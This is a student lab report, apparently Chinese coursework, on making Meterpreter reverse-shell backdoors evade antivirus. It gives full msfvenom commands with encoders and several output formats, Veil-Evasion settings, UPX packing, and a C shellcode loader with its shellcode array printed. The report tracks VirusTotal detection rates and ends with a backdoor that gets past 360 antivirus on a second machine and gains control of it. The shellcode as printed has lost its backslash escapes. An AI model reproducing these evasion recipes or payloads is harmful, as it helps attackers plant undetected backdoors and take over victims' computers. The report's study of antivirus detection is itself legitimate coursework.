一、实验任务
（一）实验内容
1.1方法：
· 正确使用msf编码器
·msfvenom生成如jar之类的其他文件
·veil
·使用C + shellcode编程
·加壳工具
·使用其他课堂未介绍方法
1.2 通过组合应用各种技术实现恶意代码免杀
1.3 用另一电脑实测，在杀软开启的情况下，可运行并回连成功，注明电脑的杀软名称与版本
（二）基础知识
1.恶意检测机制
1.1基于特征码的检测
·简单来说一段特征码就是一段或多段数据。如果一个可执行文件（或其他运行的库、脚本等）包含这样的数据则被认为是恶意代码。
·AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。（这里的AV（Anti-virus）指恶意软件检测工具，即我们常说的杀毒软件。）
1.2启发式恶意软件检测
·简单来说，就是根据些片面特征去推断。通常是因为缺乏精确判定依据。对恶意软件检测来主说，就是如果一个软件在干通常是恶意软件干的事，看起来了像个恶意软件，那我们就把它当成一个恶意软件 吧。典型的行为如连接恶意网站、开放端口、修改系统文件，典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
·优点：
·可以检测0-day恶意软件
·具有一定通用性
·缺点：
·实时监控系统行为，开销稍多
·没有基于特征码的精确度高
1.3基于行为的而已软件检测
·最开始提出启发式时，一般也是针对特征扫描的而言的，指通用的、多特征的、非精确的扫描，所以后来又提出了基于行为的。从理论上讲，基于行为的检测相当于是启发式的一种，或者是加入了行为监控的启发式。
2.免杀
定义：免杀就是让安插的后门不被AV软件发现。
实现方法：
（1）改变特征码
·如果你手里只有EXE
·加壳：压缩壳 加密壳
·有shellcode(像Meterpreter）
·用encode进行编码
·基于payload重新编译生成可执行文件
·有源代码
·用其他语言进行重写再编译（veil-evasion）
（2）改变行为
·通讯方式
·尽量使用反弹式连接
·使用隧道技术
·加密通讯数据
·操作模式
·基于内存操作
·减少对系统的修改
·加入混淆作用的正常功能代码
（3）非常规方法
·使用一个有漏洞的应用当成后门，编写攻击代码集成到如MSF中。
·使用社工类攻击，诱骗目标关闭AV软件。
·纯手工打造一个恶意软件
二、实验步骤
1.正确使用msf编码器
生成一次编码的后门程序
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘x00’ LHOST=192.168.218.128 LPORT=5315 -f exe > backdoor_5315.exe
用VirusTotal检查一下，54/69，效果不佳。
那我们来试一下如果生成十次编码的后门程序会怎么样
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘x00’ LHOST=192.168.218.128 LPORT=5315 -f exe > backdoor_5315_2.exe
让我们来再次检测一下！好像并没有什么不同。。。？
2.msfvenom生成如jar之类的其他文件
换一种方式，生成jar形式的程序,命令如下：
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.218.128 lport=5315 x> backdoor_5315_java.jar
生成jsp文件命令如下：
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.218.128 LPORT=5315 x> backdoor_5315.jsp
生成php文件命令如下：
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.218.128 lport=5315 x> backdoor_5315.php
分别对三种文件进行检测，检测结果如下：
差距还是很明显的！
3.使用veil-evasion生成后门程序
这里要进行veil的安装，我碰到了很多的问题，最后经过百度以及询问碰到过相同问题的同学们，最后总结了一下成功的下载过程：
这里我通过5308杨元同学的指导，用的是中科大的源。
安装veil：sudo apt-get install veil 。我前几次安装没有成功，根据提示输入sudo apt-get install wine32然后重新安装，于是弹出以下页面。
点击next之后页面卡住了，过了好久就报错了，如下图，它说找不到WINE文件，提示运行/usr/share/veil/config/setup.sh --force --silent这句命令。
之后卡住了一段时间，看同学微博发现重新安装就好了，于是我开始重新安装。（输入sudo apt-get purge veil卸载veil，卸载成功后输入sudo apt-get install veil重新安装。）
提示：这里使用手机热点下载速度会快的多得多，之前走了很多弯路。后面就是安装过程，用默认值即可，不再赘述了。
安装完成veil后，进入veil。进入Veil后，输入use evasion进入Veil-Evasion；输入use c/meterpreter/rev_tcp.py进入配置界面；
设置反弹连接IP，输入set LHOST 192.168.218.128；设置端口，输入set LPORT 5315 ；
最后输入generate生成后门程序文件后并命名。
因为这一步花了我太多时间，所以来检测的时候还是十分兴奋的！
45/71，马马虎虎。
4.加壳工具
输入以下命令为文件加压缩壳：
upx backdoor_5315.exe -o backdoor_5315_upxed.exe
进行检测
应该是我操作的问题吧？好像并没有什么用啊。。。
5.使用C + shellcode编程
这是之前用过的方法，生成shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.218.128 LPORT=5315 -f -c
创建一个c文件，注入shellcode：
unsigned char buf[] = "xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30" "x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff" "xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf2x52" "x57x8bx52x10x8bx4ax3cx8bx4cx11x78xe3x48x01xd1" "x51x8bx59x20x01xd3x8bx49x18xe3x3ax49x8bx34x8b" "x01xd6x31xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03" "x7dxf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66x8b" "x0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24" "x24x5bx5bx61x59x5ax51xffxe0x5fx5fx5ax8bx12xeb" "x8dx5dx68x33x32x00x00x68x77x73x32x5fx54x68x4c" "x77x26x07x89xe8xffxd0xb8x90x01x00x00x29xc4x54" "x50x68x29x80x6bx00xffxd5x6ax0ax68xc0xa8x7ax88" "x68x02x00x14xc5x89xe6x50x50x50x50x40x50x40x50" "x68xeax0fxdfxe0xffxd5x97x6ax10x56x57x68x99xa5" "x74x61xffxd5x85xc0x74x0axffx4ex08x75xecxe8x67" "x00x00x00x6ax00x6ax04x56x57x68x02xd9xc8x5fxff" "xd5x83xf8x00x7ex36x8bx36x6ax40x68x00x10x00x00" "x56x6ax00x68x58xa4x53xe5xffxd5x93x53x6ax00x56" "x53x57x68x02xd9xc8x5fxffxd5x83xf8x00x7dx28x58" "x68x00x40x00x00x6ax00x50x68x0bx2fx0fx30xffxd5" "x57x68x75x6ex4dx61xffxd5x5ex5exffx0cx24x0fx85" "x70xffxffxffxe9x9bxffxffxffx01xc3x29xc6x75xc1" "xc3xbbxf0xb5xa2x56x6ax00x53xffxd5"; int main() { int (*func)() = (int(*)())buf; func(); }
使用命令i686-w64-mingw32-g++ 5315cyy.c -o 5315cyy.exe生成可执行后门程序
又到了检测的时候，让我们看看新方法做出来是什么样的！
感觉差距并没有很大呀。
6.其他方法
换一种其他方法看看效果如何。
首先我们进入veil-evasion，输入list看看可用的payload。
这里选择第32个，大概是在python环境下用des算法处理病毒。
输入generate生成程序，并选择2：msfvenom
之后输入端口号、文件名等等
现在我们找到生成的py文件，进行激动人心的检测
1/59！！！！效果非常不错，nice！！！
7.通过组合应用各种技术实现恶意代码免杀
主机环境：win10 杀毒软件：360安全卫士
这里我对刚刚的py文件进行了加壳处理。
通过共享文件夹分享给了主机win10，进行病毒查杀
杀毒软件并没有发现它的存在
8.用另一电脑实测，在杀软开启的情况下，可运行并回连成功，注明电脑的杀软名称与版本
主机环境：win7专业版 杀毒软件：360安全卫士
kali上将后门程序5315cyy发送到win7上
进入exploit开始监听，win7打开程序回连
kali成功获得win7的操控权，win7那边后门程序开启的情况下成功规避杀毒软件的检查。
三、回答问题
(1)杀软是如何检测出恶意代码的？
以我的理解分为两种：一是特征码检测，有些恶意代码的特征数据会和杀软自带的库匹配上，那么就被发现了。
二则是启发式检测，就好比我觉得你在干坏事儿，就开始进行杀毒处理，缺点就是容易一棒子打死。
(2)免杀是做什么？
免杀就是让本是会被杀软发现的恶意代码，经过特殊处理免于被杀。
(3)免杀的基本方法有哪些？
改变特征码（加壳、encode进行编码、基于payload重新编译生成可执行文件、用其他语言进行重写再编译）
改变行为（尽量使用反弹式连接、使用隧道技术、加密通讯数据；基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码）
非常规方法（使用一个有漏洞的应用当成后门，编写攻击代码集成到如MSF中；使用社工类攻击，诱骗目标关闭AV软件；纯手工打造一个恶意软件）
(4)开启杀软能绝对防止电脑中恶意代码吗？
并不完全可以，经过这次实验，我们发现杀毒软件也是会被蒙蔽的。
四、实验体会与感想
总的来说，本次实验并不难，而且让人感觉挺有意思的，除了veil的下载花费了我一天的时间（心力交瘁）。最开心的就是自己通过这次实验可以弄出稍微像样的后门程序了。不过我非常清楚我的技术有限，还需要不断地学习。此外，本次实验也让我认识到杀毒软件的一些弊端吧，也不能完全指望靠杀毒软件杀毒，还是要自己多注意！